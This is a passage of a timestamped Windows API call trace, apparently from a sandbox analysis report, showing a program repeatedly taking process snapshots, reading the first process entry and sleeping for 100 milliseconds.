lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0132.287] Sleep (dwMilliseconds=0x64) [0132.394] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xfc0 [0132.406] Process32First (in: hSnapshot=0xfc0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0132.479] Sleep (dwMilliseconds=0x64) [0132.582] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xfc0 [0132.594] Process32First (in: hSnapshot=0xfc0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0132.673] Sleep (dwMilliseconds=0x64) [0132.788] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xfc0 [0132.798] Process32First (in: hSnapshot=0xfc0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0132.859] Sleep (dwMilliseconds=0x64) [0132.972] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xfc0 [0132.986] Process32First (in: hSnapshot=0xfc0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0133.067] Sleep (dwMilliseconds=0x64) [0133.175] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xfc0 [0133.186] Process32First (in: hSnapshot=0xfc0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0133.249] Sleep (dwMilliseconds=0x64) [0133.363] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xfc0 [0133.375] Process32First (in: hSnapshot=0xfc0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0133.439] Sleep (dwMilliseconds=0x64) [0133.551] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xfc0 [0133.562] Process32First (in: hSnapshot=0xfc0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0133.626] Sleep (dwMilliseconds=0x64) [0133.738] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xfc0 [0133.750] Process32First (in: hSnapshot=0xfc0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0133.817] Sleep (dwMilliseconds=0x64) [0133.927] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2080 [0133.936] Process32First (in: hSnapshot=0x2080, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0134.859] Sleep (dwMilliseconds=0x64) [0135.359] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1008 [0135.371] Process32First (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0135.455] Sleep (dwMilliseconds=0x64) [0136.398] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xd5c [0136.414] Process32First (in: hSnapshot=0xd5c, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0136.676] Sleep (dwMilliseconds=0x64) [0136.833] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2074 [0136.845] Process32First (in: hSnapshot=0x2074, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0136.984] Sleep (dwMilliseconds=0x64) [0137.153] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x204c [0137.165] Process32First (in: hSnapshot=0x204c, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0137.293] Sleep (dwMilliseconds=0x64) [0137.459] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x204c [0137.472] Process32First (in: hSnapshot=0x204c, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0137.618] Sleep (dwMilliseconds=0x64) [0137.722] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x204c [0137.737] Process32First (in: hSnapshot=0x204c, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0137.850] Sleep (dwMilliseconds=0x64) [0137.983] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0137.996] Process32First (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0138.152] Sleep (dwMilliseconds=0x64) [0138.253] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0138.263] Process32First (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0138.328] Sleep (dwMilliseconds=0x64) [0138.467] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0138.476] Process32First (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0138.542] Sleep (dwMilliseconds=0x64) [0138.646] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0138.734] Process32First (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0138.823] Sleep (dwMilliseconds=0x64) [0138.926] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x340 [0138.943] Process32First (in: hSnapshot=0x340, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0139.010] Sleep (dwMilliseconds=0x64) [0139.114] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0139.143] Process32First (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0139.278] Sleep (dwMilliseconds=0x64) [0139.413] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x340 [0139.427] Process32First (in: hSnapshot=0x340, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0139.595] Sleep (dwMilliseconds=0x64) [0139.727] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x181c [0139.737] Process32First (in: hSnapshot=0x181c, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0139.822] Sleep (dwMilliseconds=0x64) [0139.934] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x181c [0139.945] Process32First (in: hSnapshot=0x181c, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0140.029] Sleep (dwMilliseconds=0x64) [0140.160] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2044 [0140.172] Process32First (in: hSnapshot=0x2044, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0140.295] Sleep (dwMilliseconds=0x64) [0140.507] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x968 [0140.520] Process32First (in: hSnapshot=0x968, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0140.589] Sleep (dwMilliseconds=0x64) [0140.704] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0140.715] Process32First (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0140.815] Sleep (dwMilliseconds=0x64) [0140.990] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0141.001] Process32First (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0141.069] Sleep (dwMilliseconds=0x64) [0141.186] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x181c [0141.198] Process32First (in: hSnapshot=0x181c, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0141.333] Sleep (dwMilliseconds=0x64) [0141.522] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0141.535] Process32First (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0141.716] Sleep (dwMilliseconds=0x64) [0141.844] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2044 [0141.856] Process32First (in: hSnapshot=0x2044, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0142.060] Sleep (dwMilliseconds=0x64) [0142.189] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x181c [0142.203] Process32First (in: hSnapshot=0x181c, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0142.329] Sleep (dwMilliseconds=0x64) [0142.459] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x340 [0142.473] Process32First (in: hSnapshot=0x340, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0142.653] Sleep (dwMilliseconds=0x64) [0142.801] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a90 [0142.824] Process32First (in: hSnapshot=0x1a90, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0142.939] Sleep (dwMilliseconds=0x64) [0143.069] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x968 [0143.082] Process32First (in: hSnapshot=0x968, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0143.210] Sleep (dwMilliseconds=0x64) [0143.403] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x968 [0143.415] Process32First (in: hSnapshot=0x968, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0143.569] Sleep (dwMilliseconds=0x64) [0143.694] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x968 [0143.706] Process32First (in: hSnapshot=0x968, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0143.779] Sleep (dwMilliseconds=0x64) [0143.922] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x968 [0143.932] Process32First (in: hSnapshot=0x968, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0144.034] Sleep (dwMilliseconds=0x64) [0144.161] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x968 [0144.171] Process32First (in: hSnapshot=0x968, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0144.299] Sleep (dwMilliseconds=0x64) [0144.430] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2044 [0144.444] Process32First (in: hSnapshot=0x2044, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0144.728] Sleep (dwMilliseconds=0x64) [0144.834] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2044 [0144.845] Process32First (in: hSnapshot=0x2044, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0144.931] Sleep (dwMilliseconds=0x64) [0145.051] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x968 [0145.065] Process32First (in: hSnapshot=0x968, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0145.138] Sleep (dwMilliseconds=0x64) [0145.257] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x968 [0145.267] Process32First (in: hSnapshot=0x968, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0145.328] Sleep (dwMilliseconds=0x64) [0145.459] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2044 [0145.471] Process32First (in: hSnapshot=0x2044, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0145.607] Sleep (dwMilliseconds=0x64) [0145.742] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a90 [0145.751] Process32First (in: hSnapshot=0x1a90, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0145.861] Sleep (dwMilliseconds=0x64) [0145.981] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x968 [0145.991] Process32First (in: hSnapshot=0x968, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0146.092] Sleep (dwMilliseconds=0x64) [0146.223] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2044 [0146.232] Process32First (in: hSnapshot=0x2044, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0146.331] Sleep (dwMilliseconds=0x64) [0146.486] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2044 [0146.559] Process32First (in: hSnapshot=0x2044, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0146.989] Sleep (dwMilliseconds=0x64) [0147.130] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2044 [0147.141] Process32First (in: hSnapshot=0x2044, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0147.364] Sleep (dwMilliseconds=0x64) [0147.478] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a90 [0147.489] Process32First (in: hSnapshot=0x1a90, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0147.593] Sleep (dwMilliseconds=0x64) [0147.707] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a90 [0147.716] Process32First (in: hSnapshot=0x1a90, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0147.900] Sleep (dwMilliseconds=0x64) [0148.019] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x340 [0148.028] Process32First (in: hSnapshot=0x340, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0148.110] Sleep (dwMilliseconds=0x64) [0148.222] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a90 [0148.231] Process32First (in: hSnapshot=0x1a90, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0148.305] Sleep (dwMilliseconds=0x64) [0148.426] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2044 [0148.435] Process32First (in: hSnapshot=0x2044, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0148.517] Sleep (dwMilliseconds=0x64) [0148.632] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2044 [0148.644] Process32First (in: hSnapshot=0x2044, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0148.886] Sleep (dwMilliseconds=0x64) [0149.059] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x340 [0149.075] Process32First (in: hSnapshot=0x340, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0149.283] Sleep (dwMilliseconds=0x64) [0149.427] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x968 [0149.436] Process32First (in: hSnapshot=0x968, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0149.519] Sleep (dwMilliseconds=0x64) [0149.666] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0149.676] Process32First (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0150.042] Sleep (dwMilliseconds=0x64) [0150.162] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x968 [0150.174] Process32First (in: hSnapshot=0x968, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0150.261] Sleep (dwMilliseconds=0x64) [0150.412] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ab8 [0150.424] Process32First (in: hSnapshot=0x1ab8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0150.684] Sleep (dwMilliseconds=0x64) [0150.809] CreateToolhelp32Snapshot (dwFlags=0x2, 